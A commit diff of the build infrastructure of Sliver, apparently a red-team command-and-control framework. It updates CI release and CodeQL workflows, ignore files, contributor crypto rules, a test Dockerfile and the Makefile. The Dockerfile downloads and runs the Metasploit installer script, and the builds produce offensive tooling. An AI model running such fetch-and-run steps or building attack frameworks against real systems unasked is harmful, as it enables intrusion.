bf4feddced | ||
|
|
37fc21c9e2 | ||
|
|
91795b790b | ||
|
|
3fb42c0760 | ||
|
|
b2ccf00311 | ||
|
|
734b70d61d | ||
|
|
e606d6c127 | ||
|
|
f8cb6d74c5 | ||
|
|
922862cc2b | ||
|
|
66af0577a4 | ||
|
|
45cfa5615d | ||
|
|
86629d69e8 | ||
|
|
0b9dad2e8d | ||
|
|
3c24a260de | ||
|
|
5a985ced0f | ||
|
|
8dab347570 | ||
|
|
c4791b3673 | ||
|
|
e6aa92aae9 | ||
|
|
77e6b07240 | ||
|
|
5c29428331 | ||
|
|
04069dc66b | ||
|
|
f26303ee3f | ||
|
|
c731b703aa | ||
|
|
085e867a89 | ||
|
|
c40ae5472d | ||
|
|
5b6560bf0c | ||
|
|
bdacbd2454 | ||
|
|
87fa925b1a | ||
|
|
0a13dfcd5d | ||
|
|
15cf1fcf67 | ||
|
|
0af6fbb7e8 | ||
|
|
0bf8118af1 | ||
|
|
2d80c86bc5 | ||
|
|
a1770eab68 | ||
|
|
9f4d4194c0 | ||
|
|
eda25ce919 | ||
|
|
dcff7da470 | ||
|
|
615e1c6a83 | ||
|
|
b77026f62f | ||
|
|
96817d803a | ||
|
|
86027da3e8 | ||
|
|
10a101b7d0 | ||
|
|
74bc83ab66 | ||
|
|
506a7cf127 | ||
|
|
dff88c955f | ||
|
|
4d7219fc05 | ||
|
|
b9f5c46ca2 |
No files matched your search
+16
-17
@@ -1,22 +1,21 @@
|
||||
assets/*.zip
|
||||
assets/darwin
|
||||
assets/linux
|
||||
assets/windows
|
||||
/server/assets/fs/**.zip
|
||||
|
||||
sliver-server
|
||||
sliver-server.exe
|
||||
/*.sdk.tar.xz
|
||||
|
||||
gui/
|
||||
gui/*
|
||||
/sliver-server
|
||||
/sliver-server.exe
|
||||
|
||||
.vscode/
|
||||
.vscode/*
|
||||
/sliver-client
|
||||
/sliver-client.exe
|
||||
|
||||
.github/
|
||||
.github/*
|
||||
/.vscode/
|
||||
/.vscode/*
|
||||
|
||||
build.py
|
||||
LICENSE
|
||||
SECURITY.md
|
||||
README.md
|
||||
CONTRIBUTING.md
|
||||
/.github/
|
||||
/.github/*
|
||||
|
||||
/build.py
|
||||
/LICENSE
|
||||
/SECURITY.md
|
||||
/README.md
|
||||
/CONTRIBUTING.md
|
||||
@@ -2,4 +2,7 @@ name: "CodeQL Security Checks"
|
||||
|
||||
queries:
|
||||
- name: Security and Quality
|
||||
uses: security-extended
|
||||
uses: security-extended
|
||||
paths:
|
||||
- server
|
||||
- implant
|
||||
@@ -2,8 +2,8 @@ name: Release
|
||||
|
||||
on:
|
||||
push:
|
||||
tags: v[1-9]+.[0-9]+.[0-9]+
|
||||
branches: master
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master]
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -11,39 +11,19 @@ jobs:
|
||||
name: Linux & Windows Build
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.15
|
||||
uses: actions/setup-go@v1
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.15
|
||||
id: go
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Packr
|
||||
run: go get -u github.com/gobuffalo/packr/packr
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
@@ -55,7 +35,7 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make static-linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -64,7 +44,7 @@ jobs:
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Make Windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make static-windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -76,37 +56,17 @@ jobs:
|
||||
name: MacOS Build
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.15
|
||||
uses: actions/setup-go@v1
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.15
|
||||
id: go
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Packr
|
||||
run: go get -u github.com/gobuffalo/packr/packr
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -116,9 +76,12 @@ jobs:
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: export PATH=/Users/runner/go/bin/:$PATH && make static-macos
|
||||
- name: Make AMD64
|
||||
run: make macos
|
||||
|
||||
# - name: Make ARM64
|
||||
# run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
@@ -132,6 +95,7 @@ jobs:
|
||||
name: "Tagged Release"
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./release && mkdir -p ./artifacts
|
||||
@@ -139,30 +103,49 @@ jobs:
|
||||
with:
|
||||
path: ./artifacts
|
||||
|
||||
- run: ls -lah ./artifacts && ls -alh ./artifacts/linux/
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
- name: Release
|
||||
run: mkdir -p ./release
|
||||
|
||||
# Linux
|
||||
- name: Package Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
zip ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
|
||||
|
||||
# Windows
|
||||
- name: Package Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
zip ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
|
||||
|
||||
# MacOS
|
||||
- name: Package MacOS
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
zip ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
|
||||
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
|
||||
|
||||
# MacOS ARM64
|
||||
# - name: Package MacOS ARM64
|
||||
# run: |
|
||||
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
|
||||
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: false
|
||||
files: |
|
||||
./release/*.zip
|
||||
./release/*
|
||||
@@ -4,24 +4,23 @@ on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
# pull_request:
|
||||
# branches:
|
||||
# - master
|
||||
|
||||
jobs:
|
||||
CodeQL-Build:
|
||||
name: CodeQL Security Scan
|
||||
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
|
||||
# Setup go environment
|
||||
- name: Go 1.15
|
||||
uses: actions/setup-go@v1
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.15
|
||||
id: go
|
||||
go-version: "^1.17"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
@@ -32,13 +31,7 @@ jobs:
|
||||
if: ${{ github.event_name == 'pull_request' }}
|
||||
fetch-depth: 2
|
||||
|
||||
# If this run was triggered by a pull request event then checkout
|
||||
# the head of the pull request instead of the merge commit.
|
||||
# Only include this step if you are running this workflow on pull requests.
|
||||
- run: git checkout HEAD^2
|
||||
if: ${{ github.event_name == 'pull_request' }}
|
||||
|
||||
- name: OS Packages
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
@@ -61,9 +54,6 @@ jobs:
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Packr
|
||||
run: go get -u github.com/gobuffalo/packr/packr
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -75,15 +65,13 @@ jobs:
|
||||
uses: github/codeql-action/init@v1
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
|
||||
# Setup os PATH to include protoc-gen-go and packr
|
||||
- name: Update PATH
|
||||
run: echo "/home/runner/go/bin/" >> $GITHUB_PATH
|
||||
languages: go
|
||||
|
||||
# Build the server ... is this necessary though?
|
||||
- run: |
|
||||
make linux
|
||||
make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v1
|
||||
uses: github/codeql-action/analyze@v1
|
||||
env:
|
||||
VERSION: ${{github.sha}}
|
||||
+18
-58
@@ -12,103 +12,63 @@ jobs:
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.15
|
||||
uses: actions/setup-go@v1
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.15
|
||||
id: go
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Packr
|
||||
run: go get -u github.com/gobuffalo/packr/packr
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make static-linux
|
||||
|
||||
- name: Update PATH
|
||||
run: echo "/home/runner/go/bin/" >> $GITHUB_PATH
|
||||
run: make linux
|
||||
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make static-windows
|
||||
run: make windows
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.15
|
||||
uses: actions/setup-go@v1
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.15
|
||||
id: go
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Packr
|
||||
run: go get -u github.com/gobuffalo/packr/packr
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: export PATH=/Users/runner/go/bin/:$PATH && make static-macos
|
||||
|
||||
- name: Update PATH
|
||||
run: echo "/home/runner/go/bin/" >> $GITHUB_PATH
|
||||
run: make macos
|
||||
|
||||
- name: Test
|
||||
env:
|
||||
|
||||
+14
-20
@@ -1,30 +1,28 @@
|
||||
.vscode/*
|
||||
/.vscode/*
|
||||
/.devcontainer
|
||||
/.idea
|
||||
|
||||
release-*
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
# Generated by makefile
|
||||
client/version/version.go
|
||||
server/assets/version.go
|
||||
/release-*
|
||||
|
||||
# Diffs
|
||||
*.orig
|
||||
|
||||
# Binaries
|
||||
sliver-server
|
||||
sliver.exe
|
||||
/sliver-server
|
||||
/sliver-server_arm64
|
||||
/sliver.exe
|
||||
|
||||
sliver-client
|
||||
sliver-client.exe
|
||||
/sliver-client
|
||||
/sliver-client_arm64
|
||||
/sliver-client.exe
|
||||
|
||||
sliver-server-linux.zip
|
||||
sliver-server-macos.zip
|
||||
sliver-server-windows.zip
|
||||
|
||||
# Large static assets
|
||||
assets/*.zip
|
||||
assets/darwin/*.zip
|
||||
assets/linux/*.zip
|
||||
assets/windows/*.zip
|
||||
|
||||
# Binaries for programs and plugins
|
||||
*.exe
|
||||
@@ -33,16 +31,12 @@ assets/windows/*.zip
|
||||
*.dylib
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
/*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
/*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
|
||||
*.pb.go
|
||||
|
||||
*-packr.go
|
||||
|
||||
.DS_Store
|
||||
+3
-1
@@ -13,6 +13,7 @@ Contributing to Sliver
|
||||
* Any changes to `vendor/` should be in a distinct commit
|
||||
* Avoid use of `CGO` (limits cross-platform support)
|
||||
* Avoid use of empty interfaces
|
||||
* Never import anything from the `server` package in the `client` package.
|
||||
|
||||
## Security
|
||||
|
||||
@@ -23,9 +24,10 @@ Contributing to Sliver
|
||||
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
|
||||
* Whenever possible, use the following algorithms/encryption modes:
|
||||
- AES-GCM-256
|
||||
- RSA-OAEP-2048 / RSA-OAEP-4096
|
||||
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
|
||||
- Curves P521, P384, P256
|
||||
- Curve25519, XSalsa20, and Poly1305 (Nacl)
|
||||
- ChaCha20Poly1305
|
||||
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
|
||||
- MD5
|
||||
- SHA1
|
||||
|
||||
+22
-28
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.15.5
|
||||
FROM golang:1.17.5
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,9 +6,9 @@ FROM golang:1.15.5
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.11.4
|
||||
ENV PROTOC_GEN_GO_VER 1.3.5
|
||||
ENV PACKR_VER 1.30.1
|
||||
ENV PROTOC_VER 3.17.1
|
||||
ENV PROTOC_GEN_GO_VER v1.26.0
|
||||
ENV GRPC_GO v1.1.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -21,7 +21,7 @@ RUN apt-get update --fix-missing && apt-get -y install \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm
|
||||
nasm gcc-multilib
|
||||
|
||||
#
|
||||
# > User
|
||||
@@ -32,45 +32,39 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
#
|
||||
# > Metasploit
|
||||
#
|
||||
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
|
||||
chmod 755 msfinstall && \
|
||||
./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete && \
|
||||
su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
#
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
# protoc
|
||||
# Protoc
|
||||
WORKDIR /tmp
|
||||
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& cp -vv ./bin/protoc /usr/local/bin
|
||||
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
# go get utils
|
||||
RUN wget -O packr.tar.gz https://github.com/gobuffalo/packr/archive/v${PACKR_VER}.tar.gz \
|
||||
&& tar xvf packr.tar.gz \
|
||||
&& cd packr-${PACKR_VER} \
|
||||
&& make install
|
||||
|
||||
RUN wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
# assets
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
|
||||
RUN ./go-assets.sh
|
||||
|
||||
# compile - we have to run dep after copying the code over or it bitches
|
||||
# Compile sliver server
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make static-linux && cp -vv sliver-server /opt/sliver-server
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
RUN ls -lah && /opt/sliver-server unpack --force \
|
||||
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
# Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# Clean up
|
||||
RUN make clean \
|
||||
&& rm -rf /go/src/* \
|
||||
&& rm -rf /home/sliver/.sliver
|
||||
|
||||
@@ -3,13 +3,14 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ENV = CGO_ENABLED=1
|
||||
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
VERSION = $(shell git describe --abbrev=0)
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
PKG = github.com/bishopfox/sliver/client/version
|
||||
@@ -17,6 +18,7 @@ GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
@@ -27,137 +29,100 @@ LDFLAGS = -ldflags "-s -w \
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = protoc protoc-gen-go packr uname sed git zip go date
|
||||
EXECUTABLES = uname sed git zip date $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := static-linux
|
||||
STATIC_TARGET := linux
|
||||
|
||||
UNAME_S := $(shell uname -s)
|
||||
UNAME_P := $(shell uname -p)
|
||||
|
||||
# If the target is Windows from Linux/Darwin, check for mingw
|
||||
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
|
||||
ifneq (,$(findstring cgosqlite,$(TAGS)))
|
||||
ENV +=CGO_ENABLED=1
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
# *** Start Darwin ***
|
||||
# Programs required for generating protobuf/grpc files
|
||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||
ifeq ($(MAKECMDGOALS), pb)
|
||||
K := $(foreach exec,$(PB_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
|
||||
endif
|
||||
|
||||
# *** Darwin ***
|
||||
ifeq ($(UNAME_S),Darwin)
|
||||
SED_INPLACE := sed -i ''
|
||||
STATIC_TARGET := static-macos
|
||||
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
STATIC_TARGET := macos
|
||||
endif
|
||||
ifeq ($(MAKECMDGOALS), static-windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
endif
|
||||
# *** End Darwin ***
|
||||
|
||||
# *** Start Linux ***
|
||||
ifeq ($(UNAME_S),Linux)
|
||||
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
ifeq ($(MAKECMDGOALS), static-windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
|
||||
endif
|
||||
# *** End Linux ***
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean pb
|
||||
$(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-server ./server
|
||||
